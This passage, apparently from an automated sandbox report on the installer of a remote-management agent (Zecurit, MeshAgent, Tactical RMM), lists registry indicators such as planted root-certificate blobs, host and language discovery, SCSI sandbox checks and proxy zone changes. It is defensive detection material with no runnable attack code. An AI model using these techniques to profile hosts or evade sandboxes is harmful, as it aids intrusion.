b8f2274e61804fc4740d87a3f3066f012a4d1eb1de7b6f498ab5322865158ee230976e41d455c4bff4ce302500113cc41a45297d486d5c4fe8383657deabea2683bc1b12998bfa2a5fc9dd384ee701750f30bfa3cefa9278b91b448c845a0e101424b4476041cc219a28e6b2098c4dd02acb4d2a20e8d5db9368e4a1b5d6c1ae2cb007f10f4b295efe3e8ffa17358a9752ca2499585feccda448ac21244d244c8a5a21fa95a8e56c2c37bcf4260dc821ffbce74067ed6f1ac196a4f745cc51566316cc16271910f595b7d2a821adfb1b4d81d37de0d0f ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000344f302d25693191eaf7735cabf5868d378240ec030000000100000014000000245c97df7514e7cf2df8be72ae957b9e04741e8509000000010000000c000000300a06082b060105050703080b00000001000000320000004d006900630072006f0073006f00660074002000540069006d0065007300740061006d007000200052006f006f00740000000f00000001000000100000009df0d13100123aeca770130f4ad8d2091900000001000000100000007fdff50729446710244a447ca2a197ea2000000001000000b1020000308202ad30820216020101300d06092a864886f70d010104050030819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e301e170d3937303531333136313235395a170d3939313233303233353935395a30819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e30819f300d06092a864886f70d010101050003818d0030818902818100b75a38f51f37cca943c4dc2418bef28552b41d5b5f18b90b8f4b6da8ffcd40506cd3a0d35c47c2b9f786e4cd7d350569371faf3ddd1ffd8f1534c2c479cc59748a6f8c0ec3e811eb8438479853e1f10c0de4010cf01b1e20da2a7a3dc215528e8aff7b32bf581e25988326cb8ac9c4071424bc499ed77ab3871a2533bc6d08470203010001300d06092a864886f70d010104050003818100505bc56b6f8d525b0dc9bdac347398ca0a87caae4c4aba14a4eb52709521e0b5a1604ef743025101af1e3a70cebf18b686289967eb08e897405c1682fdb825fb366f6f763ec54c8ee2a751facac163ba5e8324470b9372f6449acea7953a8f50109e1db15916abcf3edf838bc7fac36bdc649f402b1f452404ae492ff6df0c91 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f00b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b0601050507030803000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd250f000000010000001000000065fc47520f66383962ec0b7b88a0821d190000000100000010000000e53d34cecb05c17ee332c749d78c02562000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob = 5900000001000000100000005200530041002f004d00440035000000190000000100000010000000edbccdd5106a071c5d8b4690918e48aa030000000100000014000000fee449ee0e3965a5246f000e87fde2a065fd89d41400000001000000140000009aa6587f94dd91d91e63dfd3f0ce5fae1893aab72000000001000000ce010000308201ca30820174a003020102021006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405003016311430120603550403130b526f6f74204167656e6379301e170d3936303532383232303235395a170d3339313233313233353935395a3016311430120603550403130b526f6f74204167656e6379305b300d06092a864886f70d0101010500034a0030470240815522b98aa46fedd6e7d9660f55bcd7cdd5bc4e400221a2b1f78730855ed2f244b9dc9b75b6fb465f42b69d23360bde540fcdbd1f992a105811cb40cbb5a7410203010001a3819e30819b3050060355040304491347466f722054657374696e6720507572706f736573204f6e6c792053616d706c6520536f667477617265205075626c697368696e672043726564656e7469616c73204167656e637930470603551d010440303e801012e4092d061d1d4f008d6121dc166463a1183016311430120603550403130b526f6f74204167656e6379821006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405000341002d2e3e7b8942893fa82117faf0f5c395db62695bc9dcc1b3faf0c46f6f649abde71b2568728367bd56b08d01bd2af7cc4bbd87a5ba87204c421141ad10173b8c ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob = 5900000001000000120000005200530041002f0053004800410031000000030000000100000014000000d559a586669b08f46a30a133f8a9ed3d038e2ea818000000010000001000000091161b894b117ecdc257628db460cc041900000001000000100000006ed6ed7df52fc19bdc9e5fe9e2be21fb1400000001000000140000000acfeb4b07e703a01f4cef28ee7256f7517591550f00000001000000140000004973e092cf8a9e2ca5f988493a5bacfe3895942e040000000100000010000000acd80ea27bb72ce700dc22724a5f1e9220000000010000008703000030820383308202eca003020102021046fcebbab4d02f0f926098233f93078f300d06092a864886f70d0101050500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3937303431373030303030305a170d3136313032343233353935395a3081ba311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e31333031060355040b132a566572695369676e20496e7465726e6174696f6e616c20536572766572204341202d20436c617373203331493047060355040b13407777772e766572697369676e2e636f6d2f43505320496e636f72702e6279205265662e204c494142494c495459204c54442e286329393720566572695369676e30819f300d06092a864886f70d010101050003818d0030818902818100d88280e8d619027d1f85183925a2652be1bfd405d3bce6363baaf04c6c5bb6e7aa3c734555b2f1bdea9742ed9a340a15d4a95cf54025ddd907c132b2756cc4cabba3fe56277143aa63f5303e9328e5faf1093bf3b74d4e39f75c495ab8c11dd3b28afe70309542cbfe2b518b5a3c3af9224f90b202a7539c4f34e7ab04b27b6f0203010001a381e33081e0300f0603551d13040830060101ff02010030440603551d20043d303b3039060b6086480186f84501070101302a302806082b06010505070201161c68747470733a2f2f7777772e766572697369676e2e636f6d2f43505330340603551d25042d302b06082b0601050507030106082b0601050507030206096086480186f8420401060a6086480186f845010801300b0603551d0f040403020106301106096086480186f842010104040302010630310603551d1f042a30283026a024a0228620687474703a2f2f63726c2e766572697369676e2e636f6d2f706361332e63726c300d06092a864886f70d010105050003818100408e4997968a73dd8e4def3e61b7caa062adf40e0abb753de26ed82cc7bff4b98c369bcaa2d09c724639f6a682036511c4bcbf2da6f5d93b0ab598fab378b91ef22b4c62d5fdb27a1ddf33fd73f9a5d82d8c2aead1fcb028b6e94948134b838a1b487b24f738de6f4154b8ab576b06dfc7a2d4a9f6f136628088f28b75d68071 ZecuritAgentAssetMgr.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 37 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritLiveNotifier.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname meshagent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname tacticalrmm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentWinStore.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentRegister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentRegister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname tacticalrmm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain MeshAgent.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain tacticalrmm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritAgentWinStore.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritCommandProcessor.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritLiveNotifier.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritLiveNotifier.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ZecuritAgentService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ZecuritLiveNotifier.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain meshagent.exe - System Location Discovery: System Language Discovery 1 TTPs 20 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language ZecuritAgentRegister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage ZecuritAgentRegister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.tmp - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4744 cmd.exe 4344 PING.EXE - Inno Setup is an open-source installation builder for Windows applications. 6 IoCs
Inno Setup installer
resource yara_rule behavioral2/memory/4792-0-0x0000000000400000-0x00000000004D8000-memory.dmp innosetup behavioral2/memory/4792-15-0x0000000000400000-0x00000000004D8000-memory.dmp innosetup behavioral2/memory/4792-184-0x0000000000400000-0x00000000004D8000-memory.dmp innosetup behavioral2/files/0x000e00000001c515-253.dat innosetup behavioral2/memory/1064-256-0x0000000000DB0000-0x0000000000E92000-memory.dmp innosetup behavioral2/memory/1064-271-0x0000000000DB0000-0x0000000000E92000-memory.dmp innosetup - Checks SCSI registry key(s) 3 TTPs 15 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000002fc1fe242d8ae0d60000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838012fc1fe240000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841012fc1fe24000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e32fc1fe2400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e62fc1fe2400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ ZecuritAgentAssetMgr.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\LocationInformation ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\LocationInformation ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily ZecuritAgentRegister.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS ZecuritAgentAssetMgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily ZecuritAgentAssetMgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS ZecuritAgentRegister.exe - Kills process with taskkill 1 IoCs
pid Process 700 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software ZecuritAgentWinStore.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5Cmicrosoft.windows.narratorquickstart_8wekyb3d8bbwe%5Cresources.pri\1db00119524f826\a01460c8 ZecuritAgentWinStore.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CMicrosoft.ECApp_8wekyb3d8bbwe%5Cresources.pri ZecuritAgentWinStore.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CWindows%5CSystemApps%5CMicrosoft.ECApp_8wekyb3d8bbwe%5Cresources.pri\1da840563de5296\a01460c8 ZecuritAgentWinStore.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs tacticalrmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MeshAgent.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe - Modifies registry class 22 IoCs
